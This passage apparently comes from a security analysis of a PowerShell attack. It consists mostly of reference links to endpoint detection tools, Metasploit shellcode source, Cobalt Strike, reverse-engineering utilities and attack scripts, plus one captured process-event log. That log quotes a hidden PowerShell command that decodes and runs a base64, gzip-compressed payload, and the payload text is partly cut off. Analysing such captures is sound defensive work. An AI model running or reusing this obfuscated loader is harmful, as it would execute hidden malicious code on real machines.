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https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
https://www.fireeye.com/solutions/hx-endpoint-security-products.html
https://www.carbonblack.com/products/cb-response/
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https://docs.microsoft.com/en-us/powershell/
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https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html
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"event_values": { 

"processEvent/eventType": "start", 

"processEvent/process": "powershell.exe", 

"processEvent/processPath": 

"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", 

"processEvent/processCmdLine": 

"\"powershell.exe\" -noni -nop -w hidden -c 

&([scriptblock]::create((New-Object 

IO.StreamReader(New-Object 

IO.Compression. GzipStream ((New-Object 

IO.MemoryStream(,[Convert]:: FromBase64String ('H4sIAL3yl1oCA7VWbW/

iOBD+3JX2P0QrpCS6lJfCbtVKK53DS0lLWmgglHLo5CZOMDgxdZzysrf//SaQbLtq9273pItAOPaMPfM8z4wJ0tiTlMfKKtwqX96/

O+pjgSNFK7HH1sAxlNLD3NOPjmChtLOVz4o2RatVi0eYxrPz82YqBInl4b18QSRKEhI9MEoSTVf+UsZzIsjxzcOCeFL5opT+LF8w/

oBZbrZtYm9OlGMU+9laj3s4i6XsrBiVmvrHH6o+Pa7Nyu3HFLNEU51tIklU9hlTdeWrnh043K6IptrUEzzhgSyPaVw/

KY/

iBAfkGnZ7IjaRc+4nqg45wEcQmYpYgWwy98OipsKwL7iHfF+QBGzLVvzEl0QrxSljhvK7Ns3Pvk1jSSMC65IIvnKIeKIeScpdHPuM3JJgpl2TdZHyzzppL53Aqi+FbgAJr4K0uZ8ycvBT9ddhHmjT4cmpg6y/

vn/3/l1Q8EyW3/

EMo6PpfkwgNq3PE7o3+6xUDcWGc7DkYguvpaFIiT5Tphni09lMKW2WV8aP3WuFLVh67J6kMDd1OfVn4JNzUdrEg9PTbOHHomqRgMaktY1xRL1CN9pbIJOAkX2O5cLsGsLS1HyB+C3CSIhlBpyhTF+7tSMqv/

maKWU+EcgDohKICjjUvw/

mwIWmWrFNIgDp8K4C8AGolRTWuUK3xenZOxipTYaTxFD6KZSLZygOwYz4hoLihOZLKJV8P1Sfw7VTJqmHE1lsN9O/

AZkf2ORxIkXqAXGQ/

NBZEY9ilmFhKF3qE3Pr0LA4WH0TiSZmjMYh7PQETMBMhoAjMzkIiDGjXi87RFrRipEITPZ122E4hCrN1b6XDw6Jr76KsBD0Qb0ZGAUKL+IDhh3GpaG4VEio/

wzYvZD+0/

kvKv8QSVOQnAytqJGpuZWZtEvLXqb4Apc9CkICAh3BIxMn5FPDkQLw0T5UbmgTwTOxYmZ75pLW0JrWLBu+I1q3eOvUv7pcdCuitZkHyEosu9tvDbrdxtOl4zak07bkVd+SdvtusXBQ93Y0kfcW6g5pdTlp7FaXdOf0kD/

ZVD7tzN26am52i9APJq0gCE8D57b2sUN74+bArJ7gXqud9sbm2qw2kjZddwd0NFheduTDxGV4FFTCu9oZppueWLg1bu8shC7mdW93GbgXc9vfTrqVs3FjidoINeO22zH51cQUqF9xcSjvRze9Mxx2HlG0eGydVUKwvcPIQm13e/

kx4gOX+Xwtk/p9peK6J7T+abioVM7cO9wdJje/

dSs1l8DYTYdjGI85wuHt2D0JmyfePIC9etfRCmGEBgiZYxyafHx1O/
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wYVNxl7foRde6Hz7Yjc72NL3xy2vqQ8QrElsIVeUHXj5qtjUUyxwxohD5aVE+Hi07eGfucZh6alt2ESyJiwuAmgbumECBijHtZW85aKNwIhz49gwIawbB+8uZIV74Z6s/

9upg6P7+HGEHQoLhyj8ShnBvVTb1aheZb3TSqkOHPp9Xkq62W7WRkvTtDJd+Y7TfWM4mXeNs66/

6vaOWFNYcf/1/Qep77h9WfQrBq7PN9Nfv9xC/

B+at5jzGVYOhAX2DkcDW9mX6uixeX 

954T4D3In+yf000qj6/

hUv8bAKByiaAJAAA='))),[IO.Compression.CompressionMode]::

"processEvent/parentProcessPath": 

"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", 

"processEvent/parentProcess": 

"powershell.exe", 

} 
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https://msdn.microsoft.com/en-us/library/system.io.memorystream(v=vs.110).aspx
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https://github.com/MarioVilas/shellcode_tools/blob/master/shellcode2exe.py
https://rada.re/r/
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https://metasploit.com/
https://github.com/rapid7/metasploit-framework/blob/cac890a797d0d770260074dfe703eb5cfb63bd46/external/source/shellcode/windows/x86/src/block/block_bind_tcp.asm
https://github.com/rapid7/metasploit-framework/blob/cac890a797d0d770260074dfe703eb5cfb63bd46/external/source/shellcode/windows/x86/src/block/block_bind_tcp.asm
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https://www.mertsarica.com/pi-hediyem-var-14/
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https://www.cobaltstrike.com/
https://www.ft.com/content/b813ab48-1b04-11e8-aaca-4574d7dabfb6
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https://www.7-zip.org/
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https://linux.die.net/man/1/xxd
https://rada.re/r/
https://radare.gitbooks.io/radare2book/content/tools/rabin2/intro.html
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https://github.com/firefoxbug/ddos/blob/master/attack.py
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https://github.com/mertsarica/hack4career/blob/master/codes/RedSpider.py
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